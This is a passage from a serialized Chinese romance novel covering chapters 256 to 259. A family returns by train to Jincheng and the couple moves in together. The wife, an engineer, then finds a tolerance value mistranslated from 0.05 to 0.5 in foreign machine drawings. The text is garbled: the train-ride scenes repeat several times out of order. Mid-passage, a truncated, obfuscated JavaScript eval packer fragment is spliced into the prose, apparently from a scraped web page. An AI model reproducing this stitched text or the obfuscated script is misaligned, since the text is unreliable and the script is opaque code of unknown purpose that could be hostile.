“来吃饭吧,”她招呼陆良辰和小桃子,“趁饺子还没完全凉透。“ 三口人围坐在下铺的小桌板旁,分享着这简单的餐食。 小桃子吃得满嘴油光,突然抬头问:“爸爸,奶奶做的饺子真好吃。” “那我们下次回来让奶奶给我们小桃子做好吃的饺子。”陆良辰笑着擦掉女儿嘴角的韭菜叶,声音低沉地说着。 “等咱们回家了,妈妈也给小桃子包饺子吃好不好?咱们吃羊肉饺子。” 小桃子听到回家还要吃饺子,更开心了,小嘴巴一动一动地认真吃着饺子。 夜幕降临,火车穿过华北平原,向着黄土高原驶去。 车厢里的灯光调暗了,其他乘客也陆续休息。 小桃子在铺位上睡着了,怀里还抱着奶奶给做的布老虎。 陆良辰和姜海棠坐在走廊边的折叠椅上,透过车窗望着外面偶尔闪过的灯火。 “累吗?”陆良辰轻声问,手指轻轻摩挲着她的手背。 姜海棠摇摇头:“还好,总算要回家了。” 虽然京城也很好,但总是有点不真实。 她是真的想回到属于自己的家里,和陆良辰还有小桃子安安心心的过日子。 “这次回去,咱们就可以搬到一起了。”陆良辰眼底眉间都是笑意。 他等这一天等得太久了! 姜海棠任由陆良辰拉着自己的手,感受着火车有节奏的晃动。 忽然,她想起爷爷给的那个老旧信封,说道:“爷爷给了我一个信封,说是父亲留下的东西,让我转交给你。” 姜海棠没有打开,但她觉得,这个信封里的东西,大概是与陆良辰调查的事情有关。 “你先放好,等咱们回去了再看。” “嗯,好的。” 夜深了,火车穿过一个隧道,发出长长的鸣笛声。 陆良辰站起身说:“睡会儿吧,等咱们醒来,就进入陕省地界了。” 姜海棠点点头,两人轻手轻脚地回到各自的铺位。 躺在狭窄的卧铺上,听着车轮与铁轨有节奏的碰撞声,姜海棠沉沉入眠。 虽然在火车上,可姜海棠睡得很安心,第二天早上,还是小桃子的惊呼声把姜海棠吵醒的。 “天气热,多喝点水好,这是妈装的糖水。” 姜海棠笑着接过,先给小桃子喂了两口水,然后才自己小口啜饮。 陆良辰习惯性地观察了一下周围,这次走的是特批的卧铺车厢,相对安静,但依然能闻到煤烟和汗味混合的火车特有气息。 小桃子喝了几口水,问道:“爸爸,我们晚上怎么睡?我和妈妈睡还是爸爸和妈妈睡?爸爸和妈妈睡的话,会不会太挤了?” 姜海棠刚喝的一口水因为女儿这话,差点儿喷出来。 她忙捂住小桃子的嘴巴:“小桃子,咱们不说话了,吃好吃的好不好?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他等这一天等得太久了! 姜海棠任由陆良辰拉着自己的手,感受着火车有节奏的晃动。 忽然,她想起爷爷给的那个老旧信封,说道:“爷爷给了我一个信封,说是父亲留下的东西,让我转交给你。” 姜海棠没有打开,但她觉得,这个信封里的东西,大概是与陆良辰调查的事情有关。 “你先放好,等咱们回去了再看。” “嗯,好的。” 夜深了,火车穿过一个隧道,发出长长的鸣笛声。 陆良辰站起身说:“睡会儿吧,等咱们醒来,就进入陕省地界了。” 姜海棠点点头,两人轻手轻脚地回到各自的铺位。 躺在狭窄的卧铺上,听着车轮与铁轨有节奏的碰撞声,姜海棠沉沉入眠。 虽然在火车上,可姜海棠睡得很安心,第二天早上,还是小桃子的惊呼声把姜海棠吵醒的。 “天气热,多喝点水好,这是妈装的糖水。” 姜海棠笑着接过,先给小桃子喂了两口水,然后才自己小口啜饮。 陆良辰习惯性地观察了一下周围,这次走的是特批的卧铺车厢,相对安静,但依然能闻到煤烟和汗味混合的火车特有气息。 小桃子喝了几口水,问道:“爸爸,我们晚上怎么睡?我和妈妈睡还是爸爸和妈妈睡?爸爸和妈妈睡的话,会不会太挤了?” 姜海棠刚喝的一口水因为女儿这话,差点儿喷出来。 她忙捂住小桃子的嘴巴:“小桃子,咱们不说话了,吃好吃的好不好?” 果然是小孩子,听到好吃的,立即来了兴趣,将自己问的话抛在脑后。 瞧着时间差不多了,姜海棠打开何婉仪准备的包袱,里面整齐地码着几层油纸包,有酱牛肉、卤鸡蛋、自家腌的小咸菜,还有一小罐蜂蜜和几块桃酥。 最下面压着一个信封,姜海棠好奇地打开,里面是一叠全国粮票和几张工业券。 “妈又偷偷补贴我们了……”姜海棠眼眶微热,想起站台上何婉仪强忍泪水的样子。 她又将包袱里的铝制饭盒拿出来打开,里面是出发前包的韭菜鸡蛋饺子,已经有些凉了。 “来吃饭吧,”她招呼陆良辰和小桃子,“趁饺子还没完全凉透。“ 三口人围坐在下铺的小桌板旁,分享着这简单的餐食。 小桃子吃得满嘴油光,突然抬头问:“爸爸,奶奶做的饺子真好吃。” “那我们下次回来让奶奶给我们小桃子做好吃的饺子。”陆良辰笑着擦掉女儿嘴角的韭菜叶,声音低沉地说着。 “等咱们回家了,妈妈也给小桃子包饺子吃好不好?咱们吃羊肉饺子。” 小桃子听到回家还要吃饺子,更开心了,小嘴巴一动一动地认真吃着饺子。 夜幕降临,火车穿过华北平原,向着黄土高原驶去。 车厢里的灯光调暗了,其他乘客也陆续休息。 小桃子在铺位上睡着了,怀里还抱着奶奶给做的布老虎。 陆良辰和姜海棠坐在走廊边的折叠椅上,透过车窗望着外面偶尔闪过的灯火。 “累吗?”陆良辰轻声问,手指轻轻摩挲着她的手背。 姜海棠摇摇头:“还好,总算要回家了。” 虽然京城也很好,但总是有点不真实。 她是真的想回到属于自己的家里,和陆良辰还有小桃子安安心心的过日子。 “这次回去,咱们就可以搬到一起了。”陆良辰眼底眉间都是笑意。 他等这一天等得太久了! 姜海棠任由陆良辰拉着自己的手,感受着火车有节奏的晃动。 忽然,她想起爷爷给的那个老旧信封,说道:“爷爷给了我一个信封,说是父亲留下的东西,让我转交给你。” 姜海棠没有打开,但她觉得,这个信封里的东西,大概是与陆良辰调查的事情有关。 “你先放好,等咱们回去了再看。” “嗯,好的。” 夜深了,火车穿过一个隧道,发出长长的鸣笛声。 陆良辰站起身说:“睡会儿吧,等咱们醒来,就进入陕省地界了。” 姜海棠点点头,两人轻手轻脚地回到各自的铺位。 躺在狭窄的卧铺上,听着车轮与铁轨有节奏的碰撞声,姜海棠沉沉入眠。 虽然在火车上,可姜海棠睡得很安心,第二天早上,还是小桃子的惊呼声把姜海棠吵醒的。 “天气热,多喝点水好,这是妈装的糖水。” 姜海棠笑着接过,先给小桃子喂了两口水,然后才自己小口啜饮。 陆良辰习惯性地观察了一下周围,这次走的是特批的卧铺车厢,相对安静,但依然能闻到煤烟和汗味混合的火车特有气息。 小桃子喝了几口水,问道:“爸爸,我们晚上怎么睡?我和妈妈睡还是爸爸和妈妈睡?爸爸和妈妈睡的话,会不会太挤了?” 姜海棠刚喝的一口水因为女儿这话,差点儿喷出来。 她忙捂住小桃子的嘴巴:“小桃子,咱们不说话了,吃好吃的好不好?” 果然是小孩子,听到好吃的,立即来了兴趣,将自己问的话抛在脑后。 瞧着时间差不多了,姜海棠打开何婉仪准备的包袱,里面整齐地码着几层油纸包,有酱牛肉、卤鸡蛋、自家腌的小咸菜,还有一小罐蜂蜜和几块桃酥。 最下面压着一个信封,姜海棠好奇地打开,里面是一叠全国粮票和几张工业券。 “妈又偷偷补贴我们了……”姜海棠眼眶微热,想起站台上何婉仪强忍泪水的样子。 她又将包袱里的铝制饭盒拿出来打开,里面是出发前包的韭菜鸡蛋饺子,已经有些凉了。 “来吃饭吧,”她招呼陆良辰和小桃子,“趁饺子还没完全凉透。“ 三口人围坐在下铺的小桌板旁,分享着这简单的餐食。 小桃子吃得满嘴油光,突然抬头问:“爸爸,奶奶做的饺子真好吃。” “那我们下次回来让奶奶给我们小桃子做好吃的饺子。”陆良辰笑着擦掉女儿嘴角的韭菜叶,声音低沉地说着。 “等咱们回家了,妈妈也给小桃子包饺子吃好不好?咱们吃羊肉饺子。” 小桃子听到回家还要吃饺子,更开心了,小嘴巴一动一动地认真吃着饺子。 夜幕降临,火车穿过华北平原,向着黄土高原驶去。 车厢里的灯光调暗了,其他乘客也陆续休息。 小桃子在铺位上睡着了,怀里还抱着奶奶给做的布老虎。 陆良辰和姜海棠坐在走廊边的折叠椅上,透过车窗望着外面偶尔闪过的灯火。 “累吗?”陆良辰轻声问,手指轻轻摩挲着她的手背。 姜海棠摇摇头:“还好,总算要回家了。” 虽然京城也很好,但总是有点不真实。 她是真的想回到属于自己的家里,和陆良辰还有小桃子安安心心的过日子。 “这次回去,咱们就可以搬到一起了。”陆良辰眼底眉间都是笑意。 他等这一天等得太久了! 姜海棠任由陆良辰拉着自己的手,感受着火车有节奏的晃动。 忽然,她想起爷爷给的那个老旧信封,说道:“爷爷给了我一个信封,说是父亲留下的东西,让我转交给你。” 姜海棠没有打开,但她觉得,这个信封里的东西,大概是与陆良辰调查的事情有关。 “你先放好,等咱们回去了再看。” “嗯,好的。” 夜深了,火车穿过一个隧道,发出长长的鸣笛声。 陆良辰站起身说:“睡会儿吧,等咱们醒来,就进入陕省地界了。” 姜海棠点点头,两人轻手轻脚地回到各自的铺位。 躺在狭窄的卧铺上,听着车轮与铁轨有节奏的碰撞声,姜海棠沉沉入眠。 虽然在火车上,可姜海棠睡得很安心,第二天早上,还是小桃子的惊呼声把姜海棠吵醒的。 第257章 一个家 “妈妈!快看!大山!好大的山!”小桃子趴在车窗上,兴奋地指着外面。 姜海棠揉了揉眼睛,望向窗外。 火车已经驶入黄土高原,窗外是连绵不断的土黄色山峦,在朝阳的照射下呈现出金红色的光芒。 远处偶尔能看到几户人家,炊烟袅袅升起。 陆良辰不知何时已经洗漱完毕,正拿着搪瓷缸子喝水,“再过几个小时就回家了,到时候,怎么就可以休息休息了。” 姜海棠起身整理了一下衣服,从行李中取出梳子,给小桃子梳头。 小姑娘的头发现在和刚来的时候黄细软完全不一样了,因为营养够好的变得又黑又密。 姜海棠很认真地给小姑娘扎成两个小辫子,用红头绳系好,显得格外精神。 “我去打些热水来。”陆良辰拿起两个暖水瓶,向车厢连接处走去。 小桃子注意力很快又被窗外新奇的景色吸引走了。 陆良辰端着热水回来,三人简单吃了些干粮当早餐,小桃子迫不及待地想要听故事。 姜海棠看着越来越聪明的小丫头,很是惊讶。 小桃子可比同龄的孩子聪明多了,虽然才三岁多,但非常懂事,听过的故事,更是一次就能记住,还能给别人讲。 陆良辰把女儿抱到腿上,声音低沉地开始给nv''er讲故事:“很久以前,这里是一片汪洋大海……” 正当陆良辰讲故事时,火车在一个小站临时停靠。 站台上挤满了提着大包小包的旅客,吆喝声、叫卖声此起彼伏。 一个穿蓝色工作服的男子匆匆跑过他们的车窗,陆良辰突然坐直了身体。 “怎么了?”姜海棠敏锐地察觉到丈夫的变化。 陆良辰摇摇头:“没什么,好像看到个熟人。” 虽然没有多说,但他的眼神依然警惕地扫视着站台。 火车再次启动后,陆良辰才低声对姜海棠说:“刚才那个人,像是厂里保卫科的老张。按理说他应该在金城,怎么会出现在这里?” 姜海棠心头一紧:“会不会是厂里出了什么事?” “应该不会,有赵凯和谭书记坐镇,应该不会出什么大事。”陆良辰安慰道,“也有可能是我看错了。如果有急事,厂里会发电报的。” 姜海棠注意到,陆良辰虽然嘴里说着宽慰的话,可是眉头一直没有舒展。 作为厂长,陆良辰的肩上的担子很重,尤其是在这个生产任务紧张的时期。 中午时分,火车停靠在一个较大的车站。 陆良辰下车买了几个热乎乎的肉夹馍回来,三人就着何婉仪准备的咸菜解决了午餐。 “再有三个小时就到金城了。”陆良辰看了看手表。 小桃子听说快到家了,兴奋地在铺位上蹦跳:“我想我的小被子了!还想刘阿姨做的臊子面!” 姜海棠笑着把女儿搂进怀里:“刘阿姨肯定给你准备了好多好吃的,咱们也给刘阿姨和孔奶奶带了礼物呢,到时候小桃子亲自送过去好不好?” 她这段时间不在家的时候多,陆良辰忙起来又没固定时间,小桃子大部分时候是在刘红梅家里,刘红梅一家子人对小桃子也确实疼爱。 小桃子很乖巧地点头:“还有哥哥和姐姐的!” “好,都有,都让我们小桃子送!” 窗外的景色越发荒凉,黄土高坡上偶尔能看到几棵倔强生长的枣树。 姜海棠望着这熟悉的景色,心忽然就安定了下来。 也许是因为从小就生活在西北的缘故,看到这沟壑,她就感到踏实。 小桃子到底是小孩子,闹腾了一会儿,终于还是睡着了,姜海棠趁着小桃子睡觉的时间,又开始在笔记本上写写画画。 陆良辰忍不住笑着说:“都说我工作拼命,那是因为他们没有看到你这拼命的样子!” 姜海棠也没忍住笑了:“我占着机械厂的名额出了一趟国,总要给机械厂带点儿什么,要不,毛厂长该有意见了。” 听姜海棠这么说,陆良辰也笑了。 “可不是,毛厂长一直想让你去机械厂那边,兼职我们纺织厂呢!” 毛厂长可是不止一次地说过,他吃亏了。 火车继续向西行驶,窗外的阳光渐渐变得柔和。 “各位旅客请注意,前方到站金城站,请下车的旅客做好准备……” 列车员的广播声打破了车厢的宁静。 陆良辰站起身,开始收拾行李:“我们回家了。” 姜海棠抱起还在迷糊的小桃子,望向窗外越来越近的城市轮廓。 金城的天空湛蓝如洗,依旧是那熟悉的蓝! 火车缓缓驶入金城站,站台上的人不多。比起京城那样的大站,有些萧索。 当火车完全停稳,一家三口提着行李下车时,站台上突然传来喊声。 却是小吴到了,瞧见了陆良辰和姜海棠,正在拼命招手。 陆良辰笑着迎上去:“小吴,辛苦你了。” 小吴笑着说:“陆厂长您客气了,这是我应该做的。” 他说着话,还从口袋里摸出两颗大白兔奶糖给小桃子:“小桃子,想吴叔叔没有啊?” 小桃子拿了糖,笑眼弯弯,立即点头说:“想了!” 几个人被小丫头这模样儿逗笑了。 小吴帮着拎起行李,朝着车站外面走去。 “姜工,您一走这么长时间,可真是想死我们了,最近又遇到了几个技术上的问题,黎景程和段长河两个没办法解决,就等着您回来……” 小吴巴拉巴拉地说着,一路上都没停歇。 很快,就到了熟悉的厂门口。 小桃子迫不及待地趴在窗玻璃上,小鼻子压得扁扁的,眼睛亮晶晶地看着外面那些熟悉的身影。 很快,车子开到了家属院陆良辰的院子门口。 许是听到了汽车的声音,家属院里好多人都出来看,瞧见是陆良辰和姜海棠下车,众人忙围拢过来。 “刘阿姨!孔奶奶!”小桃子看到刘红梅和孔大娘的时候,立即高兴地喊起来。 孔大娘听到小桃子的声音,立即朝着小桃子挥手:“哎呀,小桃子总算回来了,可想死孔奶奶了!” 小桃子就像颗小炮弹似的冲进了孔大娘的怀里:“孔奶奶,我也想你了,我还给你带了礼物哦!” “哎哟我的小宝贝,还给奶奶带礼物了,怎么这么招人疼呢!” 孔大娘抱着小桃子,在她红扑扑的脸蛋上亲了好几口。 姜海棠上前握住孔大娘的手,“大娘,谢谢您了,我今年忙,小桃子多亏您照顾。” “客气啥呀,都是一个厂里的,我这是一个羊是放,一群羊也是赶!”孔老太太笑眯眯地打量着姜海棠和陆良辰,“这次回来可不一样了,是正经夫妻了!” 陆良辰耳根微红,轻咳一声,“等下还要劳烦赵主任和大娘您帮忙搬家,把海棠那院子里的东西都搬过来。” 众人听着这些话,少不得又是一阵打趣。 陆良辰脸皮厚,只说回头给大家伙儿发喜糖,倒是姜海棠,到底面嫩,不好意思了,连耳朵尖都红了。 “对对对,正好我们人多,这会儿就帮着搬过来,也省得明天再麻烦了。”刘红梅爽利地说。 周围的其他邻居们也立即表示赞同。 陆良辰打开了姜海棠院子的门,大家一起帮忙。 小桃子像只欢快的小鸟,在院子里跑来跑去,时不时从屋里抱出小玩意儿,献宝似的举给孔大娘看:“孔奶奶,这是我最喜欢的布兔子!妈妈说可以放在新家里!” “这是我最喜欢的蜡笔,一定不能丢了!” 孔大娘笑得合不拢嘴,一边帮她整理小玩意儿,一边对姜海棠道:“小桃子以后就不用两头跑了,真好。” 姜海棠正和刘红梅一起打包书架上的技术书籍,闻言笑道:“平时工作忙,家里也没多少东西,就是些书和衣服。” 刘红梅麻利地把一摞书捆好,打趣道:“现在可不一样了,咱们陆厂长的家当可不少,再加上小桃子的东西,你们那两间房怕是要塞得满满当当!” 好在,姜海棠这里家具都是厂里的,也没什么需要搬动,大家一起动手,最多的也就是些零零碎碎,很容易搬。 后院老吴家的闺女抱着一摞锅碗瓢盆从厨房出来,笑着对陆良辰道:“陆厂长,你这下可是把咱们厂最金贵的工程师娶回家了,以后可得好好待人家!” 陆良辰笑着点头:“那当然,我一定好好表现。” 众人哄笑起来,姜海棠正巧从屋里出来,听到这句话,脸上一热,低头假装整理手里的包袱。 刘红梅眼尖,故意大声道:“哎哟,咱们姜工害羞了!” 小桃子不明所以,但也跟着咯咯笑,跑到姜海棠腿边抱住她:“妈妈,你的脸好红呀!” 众人又是一阵善意的笑声,小院子里热闹极了。 等东西搬完,孔大娘回家洗了手,回来的时候,手里拿着一个小红布包。 “海棠,大娘没啥好东西,就缝了这对枕套,绣的是并蒂莲,图个吉利!” 姜海棠打开一看,是一对做工精细的棉布枕套,上面绣着栩栩如生的莲花,针脚细密,显然是花了不少心思。 她心头一暖,握住孔大娘的手:“大娘,您费心了,这枕套我一定好好用。” 周围关系好的也各自送了新婚贺礼过来。 姜海棠和陆良辰打开了行李,从里面拿出京城买的糖果和果脯等分给大家。 大家伙儿又笑着说些道喜的话。 “陆厂长,姜工,你们这一路上也辛苦了,我们就不打扰你们休息了。”孔大娘笑着说:“小桃子,今晚要不要跟着奶奶和二妮姐姐睡?” 小桃子很是纠结,又是想和二妮睡,又想和爸爸妈妈睡,可把小姑娘给为难坏了。 第258章 没有找到问题 小桃子最终没能抵挡住孔大娘“明天早上做糖油饼”的诱惑,一步三回头地跟着孔大娘走了。 院子里的人群也逐渐散去,只剩下陆良辰和姜海棠两个人。 “我们是不是有点太忽略小桃子了?小桃子就这么跟着孔大娘走了?”姜海棠忽然就觉得有点对不起女儿。 “孔大娘是为了让我们好好度过我们的新婚之夜!”陆良辰上前将姜海棠圈在怀里,在她耳旁轻轻说道。 姜海棠脸一红,嗔怪地说:“又胡说了,我们结婚都好些天了,什么新婚之夜!” 陆良辰凑近姜海棠的耳朵说:“这才是我们自己的家,今天是我们两个在这个家里住的第一个晚上,可不是新婚之夜?” 听着陆良辰这不知羞耻的发言,姜海棠沉默了! 新婚之夜,还能这样算? “累了吧?”陆良辰轻声问道,“我们睡吧!” 姜海棠摇摇头,却又忍不住打了个小小的哈欠。 “怕我?”陆良辰轻笑一声。 “不是,谁怕你了,就是……”她的目光扫过房间里堆放的行李和礼物,立即找到了合理的理由,“东西有点多,得好好整理。” “不急,慢慢来。明天还有一天假期呢,我们有时间整理这些!” “你饿不饿,我们晚上没吃饭……”姜海棠立即又说。 “小吴给我们带了吃的,他妈妈做的葱油饼。”陆良辰好整以暇的说道。 虽然是找借口,可姜海棠也是真的饿了,接过葱油饼,就小口咬起来。 陆良辰不愿意吃自己手里的,非要和姜海棠抢同一块葱油饼吃,两个人打打闹闹得好一会儿,一个葱油饼下肚,肚子可算踏实了。 陆良辰一点都不愿意松开姜海棠,连拉带扯地将姜海棠拽到了卧室里。 姜海棠又说:“我们这一路上奔波,先洗个澡吧!” “热水已经烧好了。”陆良辰指了指厨房旁边的浴室,“我特意多烧了两壶。” 姜海棠找出换洗衣物,走进狭小的浴室。 温热的水流冲走旅途的疲惫,当她擦着湿漉漉的头发走出来时,陆良辰已经将大部分行李归置妥当,正在整理她屋里搬过来的技术资料。 “你去洗吧,我收拾这些。” “我给你打盆洗脚水吧,你好好泡泡脚,坐了两天火车,脚一定肿了。”陆良辰突然说。 还没等姜海棠回应,他已经转身出去,不一会儿,端着一盆冒着热气的水回来,放在她脚边。 “我自己来……”姜海棠有些不好意思,连忙推拒。 “别动。”陆良辰蹲下身,轻轻脱掉她的鞋子,将她的双脚浸入温水中。 他的手指力道适中地按摩着她的脚底,从脚趾到脚跟,每一处都照顾到。 姜海棠不由自主地发出一声舒服的叹息。 热水的温度和陆良辰的触碰让她全身放松下来,旅途的疲惫似乎都被带走了。 “舒服吗?”陆良辰抬头问。 姜海棠点点头,发出一声舒服的喟叹。 “海棠,别发出这样的声音,我还没洗澡!”陆良辰的手上不由用力了一点。 “良辰……”她轻声唤道。 “嗯?” “谢谢你。” 陆良辰抬头看她,眼中都是抑制不住的情意。 “谢谢你……给了我一个家,还对我这么好。”姜海棠的声音几乎微不可闻。 陆良辰擦干她的脚,起身坐到她身边,将她搂入怀中。 “傻瓜,是我们一起有了个家。你,我,还有小桃子。还有未来我们的孩子们!” “快去洗澡吧!”姜海棠在他怀里腻歪了一会儿,催促道。 陆良辰点点头,拿了换洗衣物走进浴室。姜海棠突然意识到这是他们第一次真正意义上的“单独同居”。 今天晚上,这个小院子里,只有他们两个人。 他们要名正言顺地分享同一个空间,同一张床…… 姜海棠看到,床上竟然是孔大娘送的并蒂莲枕套,灯光下显得格外鲜艳…… 想到可能会发生的事,姜海棠不由脸红耳朵发烫起来,她忙躺在床上,甚至用被子盖住了脑袋。 “海棠,你睡了?”陆良辰擦着头发出来,身上散发着肥皂的清香。 姜海棠从被子里发出呢喃的声音。 陆良辰轻笑,真是的,竟然还害羞了! 之前在京城也是住在一起的,都住了一周了,怎么还会害羞? “害羞了?”陆良辰轻笑着问。 姜海棠移开视线,“就是……只有我们两个,有点不习惯。” 陆良辰轻轻握住她的手,“慢慢就习惯了,我们有一辈子的时间适应。” 姜海棠抬头看他,发现他的眼神温柔得不可思议。 窗外,金城的夜空繁星点点,偶尔传来几声犬吠。 屋内,两人静静地依偎在一起,享受着这难得的宁静时刻。 陆良辰的眼睛在灯光下呈现出琥珀般的色泽,里面盛满了她读不懂也看不尽的情绪。 距离这么近,她能闻到他身上淡淡的肥皂香,混合着男性特有的气息。 姜海棠忽然觉得,如果能就这样相依相偎到天荒地老,也不错。 “明天还要上班,我们早点休息吧!”陆良辰最终打破了沉默。 姜海棠听到陆良辰这么说,还有点意外和惊讶。 就这么睡? 陆良辰一直观察着姜海棠呢,瞧见她惊讶的表情,嘴角不由弯起一抹笑。 “看起来,陆夫人还没有困,想友好互动一下!” 他的声音很轻,但就是这样轻的话荡漾在姜海棠耳边的时候,姜海棠整个人战栗了。 姜海棠拍了一下陆良辰的胸膛:“瞎说!” “有没有瞎说,我们试试就知道了。” 话音才落,陆良辰的唇已经贴上了姜海棠的唇瓣,他小心翼翼地引导着她。 这个吻逐渐加深,姜海棠感到一阵眩晕,不由自主地抓住了陆良辰的衣襟。 他的手臂环住她的腰,将她拉近,两人的身体紧密相贴。 隔着薄薄的衣料,姜海棠能感受到他胸膛的温度和有力的心跳。 “良辰……”她在换气的间隙轻唤他的名字,声音里带着自己都没察觉的渴望。 陆良辰的吻沿着她的下巴滑向脖颈,在那里轻轻吮吸。 姜海棠仰起头,手指插入他的短发中。 “良辰……” 月亮不知道什么时候,躲到了云层里…… 第二天一早,厂区广播里播放着《咱们工人有力量》的熟悉旋律。 姜海棠穿上了新做的浅蓝色衬衫,头发整齐地扎在脑后。 陆良辰则换上了同款的浅蓝色衬衫,整个人精神焕发。 “爸爸妈妈今天真好看!”小桃子端着糖油饼从隔壁刘红梅家回来的时候,还没忍住仰着小脸赞叹。 姜海棠蹲下身,帮女儿整理衣领。 “海棠,我去厂里看看,你在家休息一天,明天再上班吧!”陆良辰想着姜海棠这一路上辛苦,便说道。 “我也过去看看,要是没什么要紧的事就休息,如果有需要我帮忙的,我现在就上班。” “也行!”陆良辰知道,姜海棠对工作有多深的热爱,因此,也没想着劝说,而是答应她。 “良辰,这些糖果你带上,给大家分享一下。咱们的婚礼他们没参加,总要吃一颗喜糖。” 姜海棠拿出一包从京城带回来的糖果,塞给准备出门的陆良辰。 陆良辰拉起姜海棠的手说:“等下我们一起送小桃子去幼儿园,然后一起去上班。” 一家三口出门,一路上遇到了不少人。 许多工友都向他们投来善意的目光和祝福,还有热情的会凑近他们说几句恭喜的话。 陆良辰一个个给他们发着喜糖,虽然每个人只有一颗糖,但大家都很欢喜。 就这样,一路走走停停,等到了办公楼,喜糖已经分发了一大半。 姜海棠的办公室还要继续往前走,因此,二人不得不分别。 刚进研发部的大门,就听见有人大喊:“姜工回来了!” 不是段长河还能是谁! 不一会儿,她就被闻讯赶来的同事们围住了。 黎景程挤过人群,一把抓住她的手,“姜工啊,你可算回来了!那批D国机器的图纸还是有些问题,我和长河讨论了很久,都没讨论出结果!” 姜海棠心头一紧,“怎么回事?” 黎景程和段长河都摇头,表示原因未知。 “有没有请机械厂那边的云老师过来看看?”姜海棠问。 要说在机械方面,顾昀笛肯定算是专家级别的人物了。 就算她不在,顾昀笛出手,应该也能解决问题。 “请云老师看过了,说一切都符合要求,具体原因依然没有找到。”黎景程说话的时候,整个人都有些灰心丧气了。 姜海棠点头:“我现在就去看看,你们也别着急,总能找出问题。” 听到姜海棠这么说,黎景程和段长河两个人都安心了许多。 姜海棠很快进入工作状态,卷起袖子走到机器前,对着图纸开始工作。 接下来的两个小时里,她仔细核对着每一处关键数据,不时与两位技术员讨论。 但确实就像黎景程说的那样,没有任何问题! 第259章 诉苦 眼瞅着一个早上过去了,姜海棠还是没有找到问题。 姜海棠的表情越来越凝重了,这究竟是什么情况? 按道理来说,不应该啊! 姜海棠的眉头越皱越紧。又是三个小时过去了,姜海棠忙起来连中午饭都没有吃,但她反复核对了图纸上的每一个数据,甚至亲自测量了已经加工出来的零件尺寸,一切都符合标准。 但当她启动测试程序时,机器的传动系统仍然会在运行中出现异常震动。 “这不合理。”她喃喃自语,手指轻轻敲击着工作台面。 黎景程和段长河站在一旁,神情紧张地等待她的判断。 连姜工都不能解决的问题,这一次可真的麻烦了。 “姜工,会不会是材料问题?”段长河小心翼翼地问。 姜海棠摇摇头,“材料检测报告显示完全达标。” 黎景程递给她一杯热茶,“姜工,休息一下吧,您从早上到现在都没停过,我们中午给您带了包子,您吃一口再忙。” 姜海棠接过茶杯,温热传递到指尖,她才意识到自己确实有些疲惫。 肚子也已经咕噜噜地响着了。 她拿着包子就着热茶吃了起来,只是,思想却还在机械问题上。 只吃了一个包子,姜海棠终究是不安心。 “我们再从头检查一遍。”她放下茶杯,声音坚定,“从最基础的传动比开始。” 三人重新投入工作。 姜海棠让段长河操作机器,自己则蹲在机器旁,近距离观察每一个部件的运转情况。 黎景程负责记录各项参数变化。 当机器再次发出异常声响时,姜海棠突然喊道:“停!” 她迅速关闭电源,指着传动轴连接处,“你们看这里,轴承和轴套之间有微小的位移。” 段长河凑近查看,“可是公差都在允许范围内啊。” 姜海棠对着图纸上的参数,铅笔尖在一个数字上反复描画。 车间里机器的轰鸣声似乎远去了,她的世界只剩下眼前这组数字:0.5mm。 “把原版图纸拿给我。”她突然抬头,声音里带着一丝紧绷。 段长河愣了一下,“姜工,咱们不是有翻译版了吗?” “去拿。”姜海棠少有的简短命令让段长河立刻小跑着去资料室。 黎景程凑过来,“发现什么了?” 姜海棠的指尖点着图纸一角,“我怀疑可能是翻译的问题,这个轴承座配合公差,如果原设计是0.05,翻译成了0.5的话,可能会出现这种情况。” 黎景程倒吸一口冷气,“差了一个数量级!” 段长河气喘吁吁地跑回来,手里捧着厚重的外文原版图纸集。 姜海棠迅速翻到对应页码,三人一起凑上去查看。 “确实是0.05。”段长河的声音有些发抖,“翻译组怎么会犯这种错误?” 姜海棠合上图纸,面色凝重。 “我们不能只依靠翻译小组,掌握一定的外语是必须的。” 车间里一时寂静无声。 这个小小的差异,导致国产零件尺寸偏差了十倍,难怪无论如何调整都无法正常运行。 “我这会儿去办公室,对翻译稿对照原文进行一次校对。”姜海棠也不耽误时间,而是直接回办公室去了。 姜海棠的翻译水平确实很高,不管黎景程还是段长河都知道。 他们哪里知道,姜海棠上辈子跟着两位大师,看过不少原文原著,这辈子在夜梦空间的书房里,也没少看原文原著,水平自然高。 又是三个小时过去,姜海棠终于将翻译稿校对得差不多了,好在,除了这个参数错误之外,其余虽然翻译得不是尽善尽美,但无伤大雅,没有数据错误。 这时候,已经下班了,陆良辰今天也忙了一天,下班的时候,想着过来接姜海棠一起回家。 谁知道到了研发部,才知道姜海棠今天中午连饭都没吃,就只啃了一个包子。 陆良辰当场脸色就黑了下来。 伤还没好呢,就这样糟践身体可不行。 陆良辰站在研发部门口,眉头紧锁。 透过玻璃窗,看见姜海棠正伏案疾书,单薄的身影在昏黄的灯光下显得格外疲惫。 他深吸一口气,推门而入。 “姜工程师。”他刻意用了工作场合的称呼,声音却压得极低,带着不容置疑的威严。 姜海棠忽然听到熟悉的声音,立即从图纸中抬头。 眼睛因为长时间专注而微微发红。 “良辰?你怎么来了?” 她下意识看了眼墙上的挂钟,已经六点半了。 陆良辰走到她桌前,手指轻轻拂过她面前凉透的茶杯。 “我记得某人答应过我,伤好之前会按时吃饭休息。怎么才第一天就食言而肥?” 姜海棠这才注意到丈夫眼中压抑的情绪。 她小声辩解:“今天情况特殊,有个关键参数……” “再特殊也不能拿身体开玩笑。”陆良辰打断她,“我们现在去吃饭。” “我还差一点点就校对完了,你等我十分钟好不好?”姜海棠还在讨价还价。 可陆良辰没有这样多的耐性。 他不由分说将姜海棠面前的图纸和资料全都收拾起来:“现在去吃饭,等晚上在家里校对也是一样。” 姜海棠还企图商量,陆良辰的脸色越发的黑了! “现在,立刻,马上,去吃饭。“陆良辰一字一顿地说,“否则我就以厂长的名义下令停工。” 办公室里鸦雀无声。 黎景程悄悄拽了下段长河的袖子,两人识相地退到门外。 姜海棠知道丈夫是真生气了,忙拉住他的袖子说:“我以后不这样了,以后一定好好吃饭,我保证!” 听见媳妇儿撒娇的声音,陆良辰语气缓和了些,伸手将她散落的发丝别到耳后,“你的伤口还没有完全好,加上这段时间在国外的亏空,不吃饭怎么行?” 姜海棠想说自己没有那样脆弱,但最终还是忍住了,只乖乖巧巧地点头:“我知道了,我保证,以后一定严格按照陆厂长的要求吃饭。” “你呀,工作再急,也得顾着革命的本钱。实在不行,明天我让食堂每天按时给你送饭。” 